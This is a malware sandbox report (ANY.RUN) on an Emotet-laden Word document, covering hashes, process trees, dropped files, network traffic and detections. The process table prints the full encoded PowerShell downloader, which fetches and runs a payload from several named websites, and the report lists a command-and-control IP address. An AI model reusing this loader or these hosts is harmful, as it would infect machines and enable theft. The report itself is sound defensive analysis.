analyze malware
- Huge database of samples and IOCs
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- Unlimited submissions
- Interactive approach
| download: | bs4eqmb4xvd |
| Full analysis: | https://app.any.run/tasks/d3aa17e9-c60f-4c10-b1e6-510151edf770 |
| Verdict: | Malicious activity |
| Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
| Analysis date: | September 30, 2020, 00:27:11 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Title: Reprehenderit., Author: Malys Marty, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Tue Sep 29 23:12:00 2020, Last Saved Time/Date: Tue Sep 29 23:12:00 2020, Number of Pages: 1, Number of Words: 3731, Number of Characters: 21269, Security: 8 |
| MD5: | E7EB9A83008029F58F91D759A4CD7E3D |
| SHA1: | E007426164485AAA8336B6B53C9126327B95C13C |
| SHA256: | 75F032ED1B4C5D9738C4EBEE1D878F1FE5307CBA5C43DC44CE2443A640E7FB2F |
| SSDEEP: | 1536:TNVLAAAAcAAAAAUmPxwMddylbvuNm9F96qpNWAfjlyq9:TLAAAAcAAAAAUSxRYs4XLlyq9 |
MALICIOUS
Application was dropped or rewritten from another process
- Pccesw28f.exe (PID: 3824)
- MshtmlDac.exe (PID: 2580)
Changes the autorun value in the registry
- MshtmlDac.exe (PID: 2580)
EMOTET was detected
- MshtmlDac.exe (PID: 2580)
Connects to CnC server
- MshtmlDac.exe (PID: 2580)
SUSPICIOUS
Creates files in the user directory
- POwersheLL.exe (PID: 2996)
PowerShell script executed
- POwersheLL.exe (PID: 2996)
Executed via WMI
- POwersheLL.exe (PID: 2996)
Executable content was dropped or overwritten
- Pccesw28f.exe (PID: 3824)
- POwersheLL.exe (PID: 2996)
Starts itself from another location
- Pccesw28f.exe (PID: 3824)
Reads Internet Cache Settings
- MshtmlDac.exe (PID: 2580)
Connects to server without host name
- MshtmlDac.exe (PID: 2580)
INFO
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 1864)
Creates files in the user directory
- WINWORD.EXE (PID: 1864)
Reads settings of System Certificates
- POwersheLL.exe (PID: 2996)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (54.2) |
|---|---|---|
| .doc | | | Microsoft Word document (old ver.) (32.2) |
EXIF
FlashPix
| Title: | Reprehenderit. |
|---|---|
| Subject: | - |
| Author: | Maëlys Marty |
| Keywords: | - |
| Comments: | - |
| Template: | Normal.dotm |
| LastModifiedBy: | - |
| RevisionNumber: | 1 |
| Software: | Microsoft Office Word |
| TotalEditTime: | - |
| CreateDate: | 2020:09:29 22:12:00 |
| ModifyDate: | 2020:09:29 22:12:00 |
| Pages: | 1 |
| Words: | 3731 |
| Characters: | 21269 |
| Security: | Locked for annotations |
| Company: | - |
| Lines: | 177 |
| Paragraphs: | 49 |
| CharCountWithSpaces: | 24951 |
| AppVersion: | 15 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | - |
| HeadingPairs: |
|
| CodePage: | Unicode UTF-16, little endian |
| LocaleIndicator: | 1033 |
| CompObjUserTypeLen: | 32 |
| CompObjUserType: | Microsoft Word 97-2003 Document |
Total processes
40
Monitored processes
4
Malicious processes
3
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 1864 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\bs4eqmb4xvd.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
| 2996 | POwersheLL -ENCOD JABKADYAZQBvADQAMAA1AD0AKAAoACcAUAB5ACcAKwAnAHgAMQBnACcAKQArACcAeQA1ACcAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUAbgB2ADoAdQBTAGUAUgBwAFIAbwBmAGkATABlAFwAQQBiAEMAcQAwAEwANABcAFAARQBpAGsAcAA0AFQAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIARQBjAHQATwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBjAFUAYABSAGkAYABUAFkAUAByAG8AdABPAGMAYABPAEwAIgAgAD0AIAAoACcAdABsACcAKwAoACcAcwAxADIAJwArACcALAAnACsAJwAgAHQAJwApACsAJwBsACcAKwAoACcAcwAxADEALAAnACsAJwAgACcAKwAnAHQAJwApACsAJwBsAHMAJwApADsAJABYADkAZgAzAG4AeQBlACAAPQAgACgAJwBQACcAKwAoACcAYwBjAGUAcwAnACsAJwB3ACcAKQArACgAJwAyADgAJwArACcAZgAnACkAKQA7ACQASABmAGoANABwAGUAcAA9ACgAJwBMAHQAJwArACgAJwB1ADIAJwArACcAZAAnACkAKwAnAGMAaQAnACkAOwAkAEcAOQA0ADgAawBzAGQAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAYwAnACsAKAAnAEUAUgBBACcAKwAnAGIAYwBxACcAKQArACgAJwAwAGwANAAnACsAJwBjAEUAJwApACsAKAAnAFIAUABlAGkAawAnACsAJwBwACcAKwAnADQAJwApACsAKAAnAHQAYwBFACcAKwAnAFIAJwApACkALgAiAHIARQBwAGwAQQBgAGMARQAiACgAKAAnAGMAJwArACcARQBSACcAKQAsACcAXAAnACkAKQArACQAWAA5AGYAMwBuAHkAZQArACgAKAAnAC4AZQAnACsAJwB4ACcAKQArACcAZQAnACkAOwAkAFcAawB6AGMAcwA5AGwAPQAoACcAUgBtACcAKwAoACcAMgBvAGQAJwArACcAMgBlACcAKQApADsAJABFAHAAdQBtAGwAdwA2AD0AJgAoACcAbgBlAHcAJwArACcALQAnACsAJwBvAGIAagBlAGMAdAAnACkAIABuAEUAdAAuAHcARQBiAGMATABJAGUATgBUADsAJABJAHoAcwB1AHkAbQBxAD0AKAAoACcAaAB0AHQAcAAnACsAJwBzACcAKQArACgAJwA6AC8ALwB0AHIAdQAnACsAJwBlAHQAZQAnACsAJwBlAHMAJwArACcAaABpACcAKQArACgAJwByAHQALgBjAG8AbQAvACcAKwAnAHcAcAAtAGEAZABtACcAKwAnAGkAJwApACsAKAAnAG4AJwArACcALwA1AC8AJwApACsAKAAnACoAaAB0ACcAKwAnAHQAJwApACsAJwBwACcAKwAnAHMAOgAnACsAKAAnAC8ALwBuAGgAYQAnACsAJwBwACcAKQArACgAJwBoAG8AJwArACcAbQBhAHUALgBjAG8AJwApACsAJwBtACcAKwAnAC8AcwAnACsAKAAnAGEANwAvACcAKwAnACoAJwApACsAKAAnAGgAdAB0ACcAKwAnAHAAcwAnACsAJwA6ACcAKQArACgAJwAvAC8AaAAnACsAJwBlAGMAJwApACsAJwBrAC0AJwArACgAJwBlAGwAJwArACcAZQAnACsAJwBjAHQAcgAnACkAKwAoACcAaQAnACsAJwBjAC4AYwAnACsAJwBvAG0ALwB3AHAAJwArACcALQBpAG4AYwAnACkAKwAoACcAbAB1ACcAKwAnAGQAZQAnACkAKwAoACcAcwAvAHYAJwArACcAVQAnACkAKwAnAEIAJwArACgAJwAvACoAJwArACcAaAB0AHQAcAA6ACcAKwAnAC8ALwB0ACcAKQArACgAJwBlACcAKwAnAGMAaAAnACkAKwAoACcAaQBuACcAKwAnAG8AdAAnACsAJwBpAGYAaQBjAGEAdAAnACsAJwBpACcAKQArACgAJwBvACcAKwAnAG4ALgBjAG8AbQAnACsAJwAvACcAKQArACgAJwB3AHAALQBpACcAKwAnAG4AJwApACsAJwBjACcAKwAoACcAbAB1AGQAZQBzACcAKwAnAC8AJwApACsAKAAnAGkAaQAxACcAKwAnAHAAZAAnACkAKwAoACcAMAAnACsAJwB4AC8AKgAnACsAJwBoAHQAdAAnACkAKwAoACcAcAAnACsAJwA6AC8ALwAnACsAJwBlAGQAaQB0AHoAYQByACcAKwAnAG0AeQAuACcAKQArACcAYwAnACsAJwBvACcAKwAnAG0AJwArACgAJwAvACcAKwAnAGoAbwB1AHIAJwApACsAKAAnAG4AJwArACcAYQBsAC8AVwAnACkAKwAoACcAaQBuAEUAJwArACcAQQAvACcAKwAnACoAaAB0AHQAJwArACcAcABzACcAKwAnADoALwAvAG4AbwBpAHQAaAAnACsAJwBhACcAKQArACgAJwB0AGYAJwArACcAaABvAHUAcwAnACsAJwBlAC4AYwBvAG0AJwArACcALwB3ACcAKQArACgAJwBwACcAKwAnAC0AaQAnACkAKwAnAG4AJwArACgAJwBjACcAKwAnAGwAdQBkAGUAcwAvACcAKQArACcAZwAnACsAKAAnADUASgBJADIAMQBTAC8AKgAnACsAJwBoAHQAJwArACcAdABwACcAKQArACgAJwA6AC8AJwArACcALwB0AGUAYwBoAGkAdAAnACsAJwByAGUAJwApACsAKAAnAG4AZAAnACsAJwBzACcAKQArACgAJwAuAGMAbwAnACsAJwBtAC8AdwBwACcAKQArACgAJwAtACcAKwAnAGkAbgBjAGwAdQAnACkAKwAnAGQAZQAnACsAKAAnAHMALwAnACsAJwBxAE8ALwAnACkAKQAuACIAcwBQAGwAYABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABHAHkAeQB5AHYANABqAD0AKAAoACcASQAnACsAJwB4AGkAJwApACsAJwBsACcAKwAoACcAbgAnACsAJwA3AF8AJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABQADEAMABjAGcAdgBjACAAaQBuACAAJABJAHoAcwB1AHkAbQBxACkAewB0AHIAeQB7ACQARQBwAHUAbQBsAHcANgAuACIARABPAGAAdwBOAGwATwBhAGAARABgAEYAaQBMAGUAIgAoACQAUAAxADAAYwBnAHYAYwAsACAAJABHADkANAA4AGsAcwBkACkAOwAkAFgAagAzAHIAaQBjAHkAPQAoACcAVgAnACsAKAAnAF8AJwArACcAZQAnACsAJwBjAG4AYQByACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0AJwArACcASQAnACsAJwB0AGUAbQAnACkAIAAkAEcAOQA0ADgAawBzAGQAKQAuACIAbABgAEUAbgBnAGAAVABIACIAIAAtAGcAZQAgADMANAAwADkAOQApACAAewAuACgAJwBJACcAKwAnAG4AJwArACcAdgBvAGsAJwArACcAZQAtAEkAdABlAG0AJwApACgAJABHADkANAA4AGsAcwBkACkAOwAkAEoAcwBwAG8AdQB5AGMAPQAoACgAJwBFACcAKwAnADMANgB6AF8AJwApACsAJwA5ACcAKwAnADUAJwApADsAYgByAGUAYQBrADsAJABUAHIANQAwAHkAMABnAD0AKAAoACcASAA1ACcAKwAnAHcAeQBnACcAKQArACcAZgBsACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATgA4AGEAbgB1AHcAbgA9ACgAKAAnAFIAJwArACcAcQBjAGwAJwApACsAJwA0ACcAKwAnAHoANgAnACkA | C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe | wmiprvse.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
| 3824 | "C:\Users\admin\Abcq0l4\Peikp4t\Pccesw28f.exe" | C:\Users\admin\Abcq0l4\Peikp4t\Pccesw28f.exe | POwersheLL.exe | |
User: admin Company: Flex Inc. Integrity Level: MEDIUM Description: Replacement for the Masked Edit Control v 2.0. Exit code: 0 Version: 2.8.0.3 | ||||
| 2580 | "C:\Users\admin\AppData\Local\C_ISCII\MshtmlDac.exe" | C:\Users\admin\AppData\Local\C_ISCII\MshtmlDac.exe | Pccesw28f.exe | |
User: admin Company: Flex Inc. Integrity Level: MEDIUM Description: Replacement for the Masked Edit Control v 2.0. Version: 2.8.0.3 | ||||
Total events
2 371
Read events
1 465
Write events
0
Delete events
0
Modification events
Executable files
2
Suspicious files
2
Text files
0
Unknown types
3
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 1864 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRA643.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2996 | POwersheLL.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\WHDRXVK4W43668IJT8QP.temp | — | |
MD5:— | SHA256:— | |||
| 2996 | POwersheLL.exe | C:\Users\admin\Abcq0l4\Peikp4t\Pccesw28f.exe | — | |
MD5:— | SHA256:— | |||
| 3824 | Pccesw28f.exe | C:\Users\admin\AppData\Local\Temp\~DF2C5E64EE18A40B64.TMP | — | |
MD5:— | SHA256:— | |||
| 1864 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$4eqmb4xvd.doc | pgc | |
MD5:BD7B4D10849FEF4A75BB5800579262A6 | SHA256:975BB57564171AFDC289024336CCB55BFAFA56CD724D5B2FBD6EECFE0D5D94AB | |||
| 3824 | Pccesw28f.exe | C:\Users\admin\AppData\Local\C_ISCII\MshtmlDac.exe | executable | |
MD5:2AAC70FDF909FBBB3F3DE1AE9D833652 | SHA256:AB3D7BA306253DD5219BC66BBDC350D1EDA89CBDBC7CF184E3384CF6DD1C1EFF | |||
| 1864 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd | tlb | |
MD5:C893F45EAC19EF9638D90F06C37D2D86 | SHA256:9AA93DED00C3D76D32F95989D2D6C268F04D1588EE4938DB9D12111459ADE9C9 | |||
| 1864 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:017D1E2571E9D4C5878D517BA174F291 | SHA256:99AB7C75F76A2F0724457EDED145BA61C5764981517AF373FBE663EB32CD03E8 | |||
| 2996 | POwersheLL.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:4028388263805ABA00088A0BA4EEA515 | SHA256:5A67495439D515C063CD1732C649C5ADA72E7C0056CA8B6CD70A49F80643B948 | |||
| 2996 | POwersheLL.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF3bb17e.TMP | binary | |
MD5:4028388263805ABA00088A0BA4EEA515 | SHA256:5A67495439D515C063CD1732C649C5ADA72E7C0056CA8B6CD70A49F80643B948 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
3
DNS requests
2
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2580 | MshtmlDac.exe | POST | 200 | 104.193.103.61:80 | http://104.193.103.61/bGkYtiDPAn28KOw2ksu/sgwAZnf6EQpaeAzN/NHWWYQNNb2Ebeh/NPZuRWQJWMsYX/ | US | binary | 132 b | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2580 | MshtmlDac.exe | 104.193.103.61:80 | — | Delcom, Inc. | US | malicious |
2996 | POwersheLL.exe | 104.28.24.228:443 | trueteeshirt.com | Cloudflare Inc | US | shared |
2996 | POwersheLL.exe | 202.182.109.85:443 | nhaphomau.com | Managed Solutions Internet AS Internet Service Provider | AU | unknown |
DNS requests
Domain | IP | Reputation |
|---|---|---|
trueteeshirt.com |
| unknown |
nhaphomau.com |
| unknown |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2580 | MshtmlDac.exe | A Network Trojan was detected | ET TROJAN Win32/Emotet CnC Activity (POST) M10 |